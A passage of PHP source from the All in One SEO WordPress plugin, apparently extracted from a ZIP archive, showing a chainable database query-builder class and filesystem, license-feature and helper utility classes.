function truncate( $table = '', $includesPrefix = false ) { return $this->start( $table, $includesPrefix, 'TRUNCATE' ); } /** * Shortcut method for start with DELETE as the statement. * * @since 4.0.0 * * @param string $table The name of the table without the WordPress prefix unless includes_prefix is true. * @param bool $includesPrefix This determines if the table name includes the WordPress prefix or not. * @return Database Returns the Database class which can then be method chained for building the query. */ public function delete( $table = '', $includesPrefix = false ) { return $this->start( $table, $includesPrefix, 'DELETE' ); } /** * Adds a SELECT clause. * * @since 4.0.0 * * @return Database Returns the Database class which can be method chained for more query building. */ public function select() { $args = (array) func_get_args(); if ( count( $args ) === 1 && is_array( $args[0] ) ) { $args = $args[0]; } $this->select = array_merge( $this->select, $this->escapeColNames( $args ) ); return $this; } /** * Adds a WHERE clause. * * @since 4.0.0 * * @return Database Returns the Database class which can be method chained for more query building. */ public function where() { $criteria = $this->prepArgs( func_get_args() ); foreach ( (array) $criteria as $field => $value ) { if ( ! preg_match( '/[\(\)<=>!]+/', $field ) && false === stripos( $field, ' IS ' ) ) { $operator = ( is_null( $value ) ) ? 'IS' : '='; $escaped = $this->escapeColNames( $field ); $field = array_pop( $escaped ) . ' ' . $operator; } if ( is_null( $value ) && false !== stripos( $field, ' IS ' ) ) { // WHERE `field` IS NOT NULL. $this->where[] = "$field NULL"; continue; } if ( is_null( $value ) ) { // WHERE `field` IS NULL. $this->where[] = "$field NULL"; continue; } if ( is_array( $value ) ) { $wheres = []; foreach ( (array) $value as $val ) { $wheres[] = sprintf( "$field %s", $this->escape( $val, $this->getEscapeOptions() | self::ESCAPE_QUOTE ) ); } $this->where[] = '(' . implode( ' OR ', $wheres ) . ')'; continue; } $this->where[] = sprintf( "$field %s", $this->escape( $value, $this->getEscapeOptions() | self::ESCAPE_QUOTE ) ); } return $this; } /** * Adds a complex WHERE clause. * * @since 4.0.0 * * @return Database Returns the Database class which can be method chained for more query building. */ public function whereRaw() { $criteria = $this->prepArgs( func_get_args() ); foreach ( (array) $criteria as $clause ) { $this->where[] = $clause; } return $this; } /** * Adds a WHERE clause with all arguments sent separated by OR instead of AND inside a subclause. * @example [ 'a' => 1, 'b' => 2 ] becomes "AND (a = 1 OR b = 2)" * * @since 4.0.0 * * @return Database Returns the Database class which can be method chained for more query building. */ public function whereOr() { $criteria = $this->prepArgs( func_get_args() ); $or = []; foreach ( (array) $criteria as $field => $value ) { if ( ! preg_match( '/[\(\)<=>!]+/', $field ) && false === stripos( $field, ' IS ' ) ) { $operator = ( is_null( $value ) ) ? 'IS' : '='; $field = $this->escapeColNames( $field ); $field = array_pop( $field ) . ' ' . $operator; } if ( is_null( $value ) && false !== stripos( $field, ' IS ' ) ) { // WHERE `field` IS NOT NULL. $or[] = "$field NULL"; continue; } if ( is_null( $value ) ) { // WHERE `field` IS NULL. $or[] = "$field NULL"; } $or[] = sprintf( "$field %s", $this->escape( $value, $this->getEscapeOptions() | self::ESCAPE_QUOTE ) ); } // Create our subclause, and add it to the WHERE array. $this->where[] = '(' . implode( ' OR ', $or ) . ')'; return $this; } /** * Adds a WHERE IN() clause. * * @since 4.0.0 * * @return Database Returns the Database class which can be method chained for more query building. */ public function whereIn() { $criteria = $this->prepArgs( func_get_args() ); foreach ( (array) $criteria as $field => $values ) { if ( ! is_array( $values ) ) { $values = [ $values ]; } if ( count( $values ) === 0 ) { continue; } foreach ( $values as &$value ) { // Note: We can no longer check for `is_numeric` because a value like `61021e6242255` returns true and breaks the query. if ( is_int( $value ) || is_float( $value ) ) { // No change. continue; } if ( is_null( $value ) || 'null' === strtolower( $value ) ) { // Change to a true NULL value. $value = null; continue; } $value = sprintf( '%s', $this->escape( $value, $this->getEscapeOptions() | self::ESCAPE_QUOTE ) ); } $values = implode( ',', $values ); $this->whereRaw( "$field IN ($values)" ); } return $this; } /** * Adds a WHERE NOT IN() clause. * * @since 4.0.0 * * @return Database Returns the Database class which can be method chained for more query building. */ public function whereNotIn() { $criteria = $this->prepArgs( func_get_args() ); foreach ( (array) $criteria as $field => $values ) { if ( ! is_array( $values ) ) { $values = [ $values ]; } if ( count( $values ) === 0 ) { continue; } foreach ( $values as &$value ) { if ( is_numeric( $value ) ) { // No change. continue; } if ( is_null( $value ) || false !== stristr( $value, 'NULL' ) ) { // Change to a true NULL value. $value = null; continue; } $value = sprintf( '%s', $this->escape( $value, $this->getEscapeOptions() | self::ESCAPE_QUOTE ) ); } $values = implode( ',', $values ); $this->whereRaw( "$field NOT IN($values)" ); } return $this; } /** * Adds a WHERE BETWEEN clause. * * @since 4.3.0 * * @return Database Returns the Database class which can be method chained for more query building. */ public function whereBetween() { $criteria = $this->prepArgs( func_get_args() ); foreach ( (array) $criteria as $field => $values ) { if ( ! is_array( $values ) ) { $values = [ $values ]; } if ( count( $values ) === 0 ) { continue; } foreach ( $values as &$value ) { // Note: We can no longer check for `is_numeric` because a value like `61021e6242255` returns true and breaks the query. if ( is_int( $value ) || is_float( $value ) ) { // No change. continue; } if ( is_null( $value ) || false !== stristr( $value, 'NULL' ) ) { // Change to a true NULL value. $value = null; continue; } $value = sprintf( '%s', $this->escape( $value, $this->getEscapeOptions() | self::ESCAPE_QUOTE ) ); } $values = implode( ' AND ', $values ); $this->whereRaw( "$field BETWEEN $values" ); } return $this; } /** * Adds a LEFT JOIN clause. * * @since 4.0.0 * * @param string $table The name of the table to join to this query. * @param string|array $conditions The conditions of the join clause. * @param bool $includesPrefix This determines if the table name includes the WordPress prefix or not. * @return Database Returns the Database class which can be method chained for more query building. */ public function leftJoin( $table = '', $conditions = '', $includesPrefix = false ) { return $this->join( $table, $conditions, 'LEFT', $includesPrefix ); } /** * Adds a JOIN clause. * * @since 4.0.0 * * @param string $table The name of the table to join to this query. * @param string|array $conditions The conditions of the join clause. * @param string $direction This can take 'LEFT' or 'RIGHT' as arguments. * @param bool $includesPrefix This determines if the table name includes the WordPress prefix or not. * @return Database Returns the Database class which can be method chained for more query building. */ public function join( $table = '', $conditions = '', $direction = '', $includesPrefix = false ) { $this->join[] = [ $includesPrefix ? $table : $this->prefix . $table, $conditions, $direction ]; return $this; } /** * Add a UNION query. * * @since 4.0.0 * * @param Database|string $query The query (Database object or query string) to be joined with. * @param bool $distinct Set whether this union should be distinct or not. * @return Database Returns the Database class which can be method chained for more query building. */ public function union( $query, $distinct = true ) { $this->union[] = [ $query, $distinct ]; return $this; } /** * Adds am GROUP BY clause. * * @since 4.0.0 * * @return Database Returns the Database class which can be method chained for more query building. */ public function groupBy() { $args = (array) func_get_args(); if ( count( $args ) === 1 && is_array( $args[0] ) ) { $args = $args[0]; } $this->group = array_merge( $this->group, $args ); return $this; } /** * Adds am ORDER BY clause. * * @since 4.0.0 * * @return Database Returns the Database class which can be method chained for more query building. */ public function orderBy() { // Normalize arguments. $args = (array) func_get_args(); if ( count( $args ) === 1 && is_array( $args[0] ) ) { $args = $args[0]; } // Escape the order by clause. $args = array_map( 'esc_sql', $args ); if ( ! empty( $args[0] ) && true !== $args[0] ) { $this->order = array_merge( $this->order, $args ); } else { // This allows for overwriting a preexisting order-by setting. array_shift( $args ); $this->order = $args; } return $this; } /** * Sets the sort direction for ORDER BY clauses. * * @since 4.0.0 * * @param string $direction This sets the direction of the order by clause, default is 'ASC'. * @return Database Returns the Database class which can be method chained for more query building. */ public function orderDirection( $direction = 'ASC' ) { $this->orderDirection = $direction; return $this; } /** * Adds a LIMIT clause. * * @since 4.0.0 * * @param int $limit The amount of rows to limit the query to. * @param int $offset The amount of rows the result of the query should be ofset with. * @return Database Returns the Database class which can be method chained for more query building. */ public function limit( $limit = 0, $offset = -1 ) { if ( ! $limit ) { return $this; } $this->limit = ( -1 === $offset ) ? $limit : "$offset, $limit"; return $this; } /** * Converts associative arrays to a SET argument. * * @since 4.1.5 * * @param array $args The arguments. * @return array The prepared arguments. */ private function prepareSet( $args ) { $args = $this->prepArgs( $args ); $preparedSet = []; foreach ( (array) $args as $field => $value ) { if ( is_null( $value ) ) { $preparedSet[] = "`$field` = NULL"; continue; } if ( is_array( $value ) ) { throw new \Exception( 'Cannot save an unserialized array in the database. Data passed was: ' . wp_json_encode( $value ) ); } if ( is_object( $value ) ) { throw new \Exception( 'Cannot save an unserialized object in the database. Data passed was: ' . esc_html( $value ) ); } $preparedSet[] = sprintf( "`$field` = %s", $this->escape( $value, $this->getEscapeOptions() | self::ESCAPE_QUOTE ) ); } return $preparedSet; } /** * Adds a SET clause. * * @since 4.0.0 * * @return Database Returns the Database class which can be method chained for more query building. */ public function set() { $this->set = array_merge( $this->set, $this->prepareSet( func_get_args() ) ); return $this; } /** * Adds an ON DUPLICATE clause. * * @since 4.1.5 * * @return Database Returns the Database class which can be method chained for more query building. */ public function onDuplicate() { $this->onDuplicate = array_merge( $this->onDuplicate, $this->prepareSet( func_get_args() ) ); return $this; } /** * Set the output for the query. * * @since 4.0.0 * * @param string $output This can be one of the following: ARRAY_A | ARRAY_N | OBJECT | OBJECT_K. * @return Database Returns the Database class which can be method chained for more query building. */ public function output( $output = 'OBJECT' ) { if ( ! $output ) { $output = 'OBJECT'; } $this->output = $output; return $this; } /** * Reset the cache so we make sure the query gets to the DB. * * @since 4.1.6 * * @return Database Returns the Database class which can be method chained for more query building. */ public function resetCache() { $this->shouldResetCache = true; return $this; } /** * Run this query. * * @since 4.0.0 * * @param bool $reset Whether to reset the results/query. * @param string $return Determine which method to call on the $wpdb object * @param array $params Optional extra parameters to pass to the db method call * @return Database Returns the Database class which can be method chained for more query building. */ public function run( $reset = true, $return = 'results', $params = [] ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable if ( ! in_array( $return, [ 'results', 'col', 'var', 'row' ], true ) ) { $return = 'results'; } $prepare = $this->db->prepare( $this->query(), 1, 1 ); $queryHash = sha1( $this->query() ); $cacheTableName = $this->getCacheTableName(); // Pull the result from the in-memory cache if everything checks out. if ( ! $this->shouldResetCache && isset( $this->cache[ $cacheTableName ][ $queryHash ][ $return ] ) && empty( $this->join ) ) { $this->result = $this->cache[ $cacheTableName ][ $queryHash ][ $return ]; return $this; } switch ( $return ) { case 'col': $this->result = $this->db->get_col( $prepare ); break; case 'var': $this->result = $this->db->get_var( $prepare ); break; case 'row': $this->result = $this->db->get_row( $prepare ); break; default: $this->result = $this->db->get_results( $prepare, $this->output ); } if ( $reset ) { $this->reset(); } $this->cache[ $cacheTableName ][ $queryHash ][ $return ] = $this->result; // Reset the cache trigger for the next run. $this->shouldResetCache = false; return $this; } /** * Inject a count select statement and return the result. * * @since 4.1.0 * * @param string $countColumn The column to count with. Defaults to '*' all. * @return int The number of rows that were found. */ public function count( $countColumn = '*' ) { $usingGroup = ! empty( $this->group ); $results = $this->select( 'count(' . $countColumn . ') as count' ) ->run() ->result(); return 1 === $this->numRows() && ! $usingGroup ? (int) $results[0]->count : $this->numRows(); } /** * Returns the query results based on the value of the output property. * * @since 4.0.0 * * @return mixed This depends on what was set in the output property. */ public function result() { return $this->result; } /** * Return a model model from a row. * * @since 4.0.0 * * @param string $class The name of the model class to call. * @return object The model class instance. */ public function model( $class ) { $result = $this->result(); return ! empty( $result ) ? ( is_array( $result ) ? new $class( (array) current( $result ) ) : $result ) : new $class(); } /** * Return an array of model class instancnes from the result. * * @since 4.0.0 * * @param string $class The name of the model class to call. * @param string $id The ID of the index to use. * @param bool $toJson The index if necessary. * @return array An array of model class instances. */ public function models( $class, $id = null, $toJson = false ) { if ( ! empty( $this->models ) ) { return $this->models; } $i = 0; $models = []; foreach ( $this->result() as $row ) { $var = ( null === $id ) ? $row : $row[ $id ]; $class = new $class( $var ); // Lets add the class to the array using the class ID. $models[ $class->id ] = $toJson ? $class->jsonSerialize() : $class; $i++; } $this->models = $models; return $this->models; } /** * Returns the last error reported by MySQL. * * @since 4.0.0 * * @return string The last error message. */ public function lastError() { return $this->db->last_error; } /** * Return the $wpdb insert_id from the last query. * * @since 4.0.0 * * @return int The ID of the most recent INSERT query. */ public function insertId() { return $this->db->insert_id; } /** * Return the $wpdb rows_affected from the last query. * * @since 4.0.0 * * @return int The number of rows affected. */ public function rowsAffected() { return $this->db->rows_affected; } /** * Return the $wpdb num_rows from the last query. * * @since 4.0.0 * * @return int The count for the number of rows in the last query. */ public function numRows() { return $this->db->num_rows; } /** * Check if the last query had any rows. * * @since 4.0.0 * * @return bool Whether there were any rows retrived by the last query. */ public function nullSet() { return ( $this->numRows() < 1 ); } /** * This will start a MySQL transaction. Be sure to commit or rollback! * * @since 4.0.0 */ public function startTransaction() { $this->db->query( 'START TRANSACTION' ); } /** * This will commit a MySQL transaction. Used in conjunction with startTransaction. * * @since 4.0.0 */ public function commit() { $this->db->query( 'COMMIT' ); } /** * This will rollback a MySQL transaction. Used in conjunction with startTransaction. * * @since 4.0.0 */ public function rollback() { $this->db->query( 'ROLLBACK' ); } /** * Fast way to execute raw queries. * NOTE: When using this method, all arguments must be sanitized manually! * * @since 4.0.0 * * @param string $sql The sql query to execute. * @param bool $results Whether to return the results or not. * @param bool $useCache Whether to use the cache or not. * @return mixed Could be an array or object depending on the result set. */ public function execute( $sql, $results = false, $useCache = false ) { $this->lastQuery = $sql; $queryHash = sha1( $sql ); $cacheTableName = $this->getCacheTableName(); // Pull the result from the in-memory cache if everything checks out. if ( $useCache && ! $this->shouldResetCache && isset( $this->cache[ $cacheTableName ][ $queryHash ] ) ) { if ( $results ) { $this->result = $this->cache[ $cacheTableName ][ $queryHash ]; } return $this; } if ( $results ) { $this->result = $this->db->get_results( $sql, $this->output ); if ( $useCache ) { $this->cache[ $cacheTableName ][ $queryHash ] = $this->result; // Reset the cache trigger for the next run. $this->shouldResetCache = false; } return $this; } return $this->db->query( $sql ); } /** * Escape a value for safe use in SQL queries. * * @param string $value The value to be escaped. * @param int|null $options The escape options. * @return string The escaped SQL value. */ public function escape( $value, $options = null ) { if ( is_array( $value ) ) { foreach ( $value as &$val ) { $val = $this->escape( $val, $options ); } return $value; } $options = ( is_null( $options ) ) ? $this->getEscapeOptions() : $options; if ( ( $options & self::ESCAPE_STRIP_HTML ) !== 0 && isset( $this->stripTags ) && true === $this->stripTags ) { $value = wp_strip_all_tags( $value ); } if ( ( ( $options & self::ESCAPE_FORCE ) !== 0 || php_sapi_name() === 'cli' ) || ( ( $options & self::ESCAPE_QUOTE ) !== 0 && ! is_int( $value ) ) ) { $value = esc_sql( $value ); if ( ! is_int( $value ) ) { $value = "'$value'"; } } return $value; } /** * Returns the current escape options value. * * @since 4.0.0 * * @return int The current escape options value. */ public function getEscapeOptions() { return $this->escapeOptions; } /** * Sets the current escape options value. * * @since 4.0.0 * * @param int $options The escape options value. */ public function setEscapeOptions( $options ) { $this->escapeOptions = $options; } /** * Backtick-escapes an array of column and/or table names. * * @since 4.0.0 * * @param array $cols An array of column names to be escaped. * @return array An array of escaped column names. */ private function escapeColNames( $cols ) { if ( ! is_array( $cols ) ) { $cols = [ $cols ]; } foreach ( $cols as &$col ) { if ( false === stripos( $col, '(' ) && false === stripos( $col, ' ' ) && false === stripos( $col, '*' ) ) { if ( stripos( $col, '.' ) ) { list( $table, $c ) = explode( '.', $col ); $col = "`$table`.`$c`"; continue; } $col = "`$col`"; } } return $cols; } /** * Gets a variable list of function arguments and reformats them as needed for many of the functions of this class. * * @since 4.0.0 * * @param mixed $values This could be anything, but if used properly it usually is a string or an array. * @return mixed If the preparation was successful, it will return an array of arguments. Otherwise it could be anything. */ private function prepArgs( $values ) { $values = (array) $values; if ( ! is_array( $values[0] ) && count( $values ) === 2 ) { $values = [ $values[0] => $values[1] ]; } elseif ( is_array( $values[0] ) && count( $values ) === 1 ) { $values = $values[0]; } return $values; } /** * Resets all the variables that make up the query. * * @since 4.0.0 * * @param array $what Set which properties you want to reset. All are selected by default. * @return Database Returns the Database instance. */ public function reset( $what = [ 'table', 'statement', 'limit', 'group', 'order', 'select', 'set', 'onDuplicate', 'ignore', 'where', 'union', 'distinct', 'orderDirection', 'query', 'output', 'stripTags', 'models', 'join' ] ) { // If we are not running a select query, let's bust the cache for this table. $selectStatements = [ 'SELECT', 'SELECT DISTINCT' ]; if ( ! empty( $this->statement ) && ! in_array( $this->statement, $selectStatements, true ) ) { $this->bustCache( $this->getCacheTableName() ); } foreach ( (array) $what as $var ) { switch ( $var ) { case 'group': case 'order': case 'select': case 'set': case 'onDuplicate': case 'where': case 'union': case 'join': $this->$var = []; break; case 'orderDirection': $this->$var = 'ASC'; break; case 'ignore': case 'stripTags': $this->$var = false; break; case 'output': $this->$var = 'OBJECT'; break; default: if ( isset( $this->$var ) ) { $this->$var = null; } break; } } return $this; } /** * Returns the current value of one or more query properties. * * @since 4.0.0 * * @param string|array $what You can pass in an array of options to retrieve. By default it selects all if them. * @return string|array Returns the value of whichever variables are passed in. */ public function getQueryProperty( $what = [ 'table', 'statement', 'limit', 'group', 'order', 'select', 'set', 'onDuplicate', 'where', 'union', 'distinct', 'orderDirection', 'query', 'output', 'result' ] ) { if ( is_array( $what ) ) { $return = []; foreach ( (array) $what as $which ) { $return[ $which ] = $this->$which; } return $return; } return $this->$what; } /** * Get a table name for the cache key. * * @since 4.1.6 * * @param string $cacheTableName The table name to check against. * @return string The cache key table name. */ private function getCacheTableName( $cacheTableName = '' ) { $cacheTableName = empty( $cacheTableName ) ? $this->table : $cacheTableName; foreach ( $this->customTables as $tableName ) { if ( false !== stripos( (string) $cacheTableName, $this->prefix . $tableName ) ) { $cacheTableName = $tableName; break; } } return $cacheTableName; } /** * Busts the cache for the given table name. * * @since 4.1.6 * * @param string $tableName The table name. * @return void */ public function bustCache( $tableName = '' ) { if ( ! $tableName ) { // Bust all the cache. $this->cache = []; return; } unset( $this->cache[ $tableName ] ); } /** * In order to not have a conflict, we need to return a clone. * * @since 4.1.0 * * @return Database The cloned Database instance. */ public function noConflict() { return clone $this; } /** * Checks whether the given index exists on the given table. * * @since 4.4.8 * * @param string $tableName The table name. * @param string $indexName The index name. * @param bool $includesPrefix Whether the table name includes the WordPress prefix or not. * @return bool Whether the index exists or not. */ public function indexExists( $tableName, $indexName, $includesPrefix = false ) { $prefix = $includesPrefix ? '' : $this->prefix; $tableName = strtolower( $prefix . $tableName ); $indexName = strtolower( $indexName ); $indexes = $this->db->get_results( "SHOW INDEX FROM `$tableName`" ); foreach ( $indexes as $index ) { if ( empty( $index->Key_name ) ) { continue; } if ( strtolower( $index->Key_name ) === $indexName ) { return true; } } return false; } }PKÉ—[:c­¢ÿÿ1all-in-one-seo-pack/app/Common/Utils/Features.phpnu„[µü¤core->networkCache->get( 'license_features' ); if ( null === $features || $flushCache ) { $response = aioseo()->helpers->wpRemoteGet( $this->getFeaturesUrl() ); if ( 200 === wp_remote_retrieve_response_code( $response ) ) { $features = json_decode( wp_remote_retrieve_body( $response ) ); } if ( ! $features || ! empty( $features->error ) ) { $features = $this->getDefaultFeatures(); } aioseo()->core->networkCache->update( 'license_features', $features ); } return $features; } /** * Get the URL to get features. * * @since 4.1.8 * * @return string The URL. */ protected function getFeaturesUrl() { $url = $this->featuresUrl; if ( defined( 'AIOSEO_FEATURES_URL' ) ) { $url = AIOSEO_FEATURES_URL; } return $url; } /** * Retrieves a default list of all external saas features available for the current user if the API cannot be reached. * * @since 4.3.0 * * @return array An array of features. */ protected function getDefaultFeatures() { return json_decode( wp_json_encode( [ [ 'license_level' => 'pro', 'section' => 'schema', 'feature' => 'event' ], [ 'license_level' => 'elite', 'section' => 'schema', 'feature' => 'event' ], [ 'license_level' => 'elite', 'section' => 'schema', 'feature' => 'job-posting' ], [ 'license_level' => 'elite', 'section' => 'tools', 'feature' => 'network-tools-site-activation' ], [ 'license_level' => 'elite', 'section' => 'tools', 'feature' => 'network-tools-database' ], [ 'license_level' => 'elite', 'section' => 'tools', 'feature' => 'network-tools-import-export' ], [ 'license_level' => 'elite', 'section' => 'tools', 'feature' => 'network-tools-robots' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'seo-statistics' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'keyword-rankings' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'keyword-rankings-pages' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'content-rankings' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'post-detail' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'post-detail-page-speed' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'post-detail-seo-statistics' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'post-detail-keywords' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'post-detail-focus-keyword-trend' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'keyword-tracking' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'post-detail-keyword-tracking' ], [ 'license_level' => 'elite', 'section' => 'search-statistics', 'feature' => 'index-status' ] ] ) ); } /** * Get the plans for a given feature. * * @since 4.3.0 * * @param string $sectionSlug The section name. * @param string $feature The feature name. * @return array The plans for the feature. */ public function getPlansForFeature( $sectionSlug, $feature = '' ) { $plans = []; // Loop through all the features and find the plans that have access to the feature. foreach ( $this->getFeatures() as $featureArray ) { if ( $featureArray->section !== $sectionSlug ) { continue; } if ( ! empty( $feature ) && $featureArray->feature !== $feature ) { continue; } $plans[] = ucfirst( $featureArray->license_level ); } return array_unique( $plans ); } }PKÉ—[1 åºîî3all-in-one-seo-pack/app/Common/Utils/Filesystem.phpnu„[µü¤core = $core; $this->init( $args ); } /** * Initialize the filesystem. * * @since 4.1.9 * * @param array $args An array of arguments for the WP_Filesystem * @return void */ public function init( $args = [] ) { require_once ABSPATH . 'wp-admin/includes/file.php'; WP_Filesystem( $args ); global $wp_filesystem; if ( is_object( $wp_filesystem ) ) { $this->fs = $wp_filesystem; } } /** * Wrapper method to check if a file exists. * * @since 4.1.9 * * @param string $filename The filename to check if it exists. * @return bool Returns true if the file or directory specified by filename exists; false otherwise. */ public function exists( $filename ) { if ( ! $this->isWpfsValid() ) { return @file_exists( $filename ); } return $this->fs->exists( $filename ); } /** * Retrieve the contents of a file. * * @since 4.1.9 * * @param string $filename The filename to get the contents for. * @return string|bool The function returns the read data or false on failure. */ public function getContents( $filename ) { if ( ! $this->exists( $filename ) ) { return false; } if ( ! $this->isWpfsValid() ) { return @file_get_contents( $filename ); } return $this->fs->get_contents( $filename ); } /** * Reads entire file into an array. * * @since 4.1.9 * * @param string $file Path to the file. * @return array|bool File contents in an array on success, false on failure. */ public function getContentsArray( $file ) { if ( ! $this->exists( $file ) ) { return false; } if ( ! $this->isWpfsValid() ) { return @file( $file ); } return $this->fs->get_contents_array( $file ); } /** * Sets the access and modification times of a file. * Note: If $file doesn't exist, it will be created. * * @since 4.1.9 * * @param string $file Path to file. * @param int $time Optional. Modified time to set for file. Default 0. * @param int $atime Optional. Access time to set for file. Default 0. * @return bool True on success, false on failure. */ public function touch( $file, $time = 0, $atime = 0 ) { if ( 0 === $time ) { $time = time(); } if ( 0 === $atime ) { $atime = time(); } if ( ! $this->isWpfsValid() ) { return @touch( $file, $time, $atime ); } return $this->fs->touch( $file, $time, $atime ); } /** * Writes a string to a file. * * @since 4.1.9 * * @param string $file Remote path to the file where to write the data. * @param string $contents The data to write. * @param int|false $mode Optional. The file permissions as octal number, usually 0644. Default false. * @return int|bool True on success, false on failure. */ public function putContents( $file, $contents, $mode = false ) { if ( ! $this->isWpfsValid() ) { return @file_put_contents( $file, $contents ); } return $this->fs->put_contents( $file, $contents, $mode ); } /** * Checks if a file or directory is writable. * * @since 4.1.9 * * @param string $file Path to file or directory. * @return bool Whether $file is writable. */ public function isWritable( $file ) { if ( ! $this->isWpfsValid() ) { return @is_writable( $file ); } return $this->fs->is_writable( $file ); } /** * Checks if a file is readable. * * @since 4.1.9 * * @param string $file Path to file. * @return bool Whether $file is readable. */ public function isReadable( $file ) { if ( ! $this->isWpfsValid() ) { return @is_readable( $file ); } return $this->fs->is_readable( $file ); } /** * Gets the file size (in bytes). * * @since 4.1.9 * * @param string $file Path to file. * @return int|bool Size of the file in bytes on success, false on failure. */ public function size( $file ) { if ( ! $this->isWpfsValid() ) { return @filesize( $file ); } return $this->fs->size( $file ); } /** * Checks if resource is a file. * * @since 4.1.9 * * @param string $file File path. * @return bool Whether $file is a file. */ public function isFile( $file ) { if ( ! $this->isWpfsValid() ) { return @is_file( $file ); } return $this->fs->is_file( $file ); } /** * Checks if resource is a directory. * * @since 4.1.9 * * @param string $path Directory path. * @return bool Whether $path is a directory. */ public function isDir( $path ) { if ( ! $this->isWpfsValid() ) { return @is_dir( $path ); } return $this->fs->is_dir( $path ); } /** * A simple check to ensure that the WP_Filesystem is valid. * * @since 4.1.9 * * @return bool True if valid, false if not. */ public function isWpfsValid() { if ( ! is_a( $this->fs, 'WP_Filesystem_Base' ) || ( // Errors is a WP_Error object. ! empty( $this->fs->errors ) && // We directly check if the errors array is empty for compatibility with WP < 5.1. ! empty( $this->fs->errors->errors ) ) ) { return false; } return true; } /** * In order to not have a conflict, we need to return a clone. * * @since 4.1.9 * * @return Filesystem The cloned Filesystem object. */ public function noConflict() { return clone $this; } }PKÉ—[œIª¯!!0all-in-one-seo-pack/app/Common/Utils/Helpers.phpnu„[µü¤ 'WordPress', 'utm_campaign' => aioseo()->pro ? 'proplugin' : 'liteplugin', 'utm_medium' => $medium ]; // Content is not used by default. if ( $content ) { $args['utm_content'] = $content; } // Return the new URL. $url = add_query_arg( $args, $url ); return $esc ? esc_url( $url ) : $url; } /** * Checks if we are in a dev environment or not. * * @since 4.1.0 * * @return boolean True if we are, false if not. */ public function isDev() { return aioseo()->isDev || isset( $_REQUEST['aioseo-dev'] ); // phpcs:ignore HM.Security.NonceVerification.Recommended } /** * Checks if the server is running on Apache. * * @since 4.0.0 * * @return boolean Whether or not it is on apache. */ public function isApache() { if ( ! isset( $_SERVER['SERVER_SOFTWARE'] ) ) { return false; } return stripos( sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) ), 'apache' ) !== false; } /** * Checks if the server is running on nginx. * * @since 4.0.0 * * @return bool Whether or not it is on nginx. */ public function isNginx() { if ( ! isset( $_SERVER['SERVER_SOFTWARE'] ) ) { return false; } $server = sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) ); if ( false !== stripos( $server, 'Flywheel' ) || false !== stripos( $server, 'nginx' ) ) { return true; } return false; } /** * Checks if the server is running on LiteSpeed. * * @since 4.5.3 * * @return bool Whether it is on LiteSpeed. */ public function isLiteSpeed() { if ( ! isset( $_SERVER['SERVER_SOFTWARE'] ) ) { return false; } $server = strtolower( sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) ) ); return false !== stripos( $server, 'litespeed' ); } /** * Returns the server name: Apache, nginx or LiteSpeed. * * @since 4.5.3 * * @return string The server name. An empty string if it's unknown. */ public function getServerName() { if ( aioseo()->helpers->isApache() ) { return 'apache'; } if ( aioseo()->helpers->isNginx() ) { return 'nginx'; } if ( aioseo()->helpers->isLiteSpeed() ) { return 'litespeed'; } return ''; } /** * Validate IP addresses. * * @since 4.0.0 * * @param string $ip The IP address to validate. * @return boolean If the IP address is valid or not. */ public function validateIp( $ip ) { if ( filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ) { return true; } if ( filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) { return true; } // Doesn't seem to be a valid IP. return false; } /** * Convert bytes to readable format. * * @since 4.0.0 * * @param integer $bytes The size of the file. * @return string The size as a string. */ public function convertFileSize( $bytes ) { if ( empty( $bytes ) ) { return [ 'original' => 0, 'readable' => '0 B' ]; } $i = floor( log( $bytes ) / log( 1024 ) ); $sizes = [ 'B', 'KB', 'MB', 'GB', 'TB' ]; return [ 'original' => $bytes, 'readable' => sprintf( '%.02F', $bytes / pow( 1024, $i ) ) * 1 . ' ' . $sizes[ $i ] ]; } /** * Sanitizes a given option value before we store it in the DB. * * Used by the migration and importer classes. * * @since 4.0.0 * * @param mixed $value The value. * @return mixed $value The sanitized value. */ public function sanitizeOption( $value ) { switch ( gettype( $value ) ) { case 'boolean': return (bool) $value; case 'string': $value = aioseo()->helpers->decodeHtmlEntities( $value ); return aioseo()->helpers->encodeOutputHtml( wp_strip_all_tags( wp_check_invalid_utf8( trim( $value ) ) ) ); case 'integer': return intval( $value ); case 'double': return floatval( $value ); case 'array': $sanitized = []; foreach ( (array) $value as $child ) { $sanitized[] = aioseo()->helpers->sanitizeOption( $child ); } return $sanitized; default: return false; } } /** * Checks if the given string is serialized, and if so, unserializes it. * If the serialized string contains an object, we abort to prevent PHP object injection. * * @since 4.1.0.2 * * @param string $string The string. * @return string|array The string or unserialized data. */ public function maybeUnserialize( $string ) { if ( ! is_string( $string ) ) { return $string; } $string = trim( $string ); if ( is_serialized( $string ) && ! $this->stringContains( $string, 'O:' ) ) { // We want to add extra hardening for PHP versions greater than 5.6. return version_compare( PHP_VERSION, '7.0', '<' ) ? @unserialize( $string ) : @unserialize( $string, [ 'allowed_classes' => false ] ); // phpcs:disable PHPCompatibility.FunctionUse.NewFunctionParameters.unserialize_optionsFound } return $string; } /** * Returns a deep clone of the given object. * The built-in PHP clone KW provides a shallow clone. This method returns a deep clone that also clones nested object properties. * You can use this method to sever the reference to nested objects. * * @since 4.4.7 * * @return object The cloned object. */ public function deepClone( $object ) { return unserialize( serialize( $object ) ); } /** * Sanitizes a given variable * * @since 4.5.6 * * @param mixed $variable The variable. * @param bool $preserveHtml Whether or not to preserve HTML for ALL fields. * @param array $fieldsToPreserveHtml Specific fields to preserve HTML for. * @param string $fieldName The name of the current field (when looping over a list). * @return 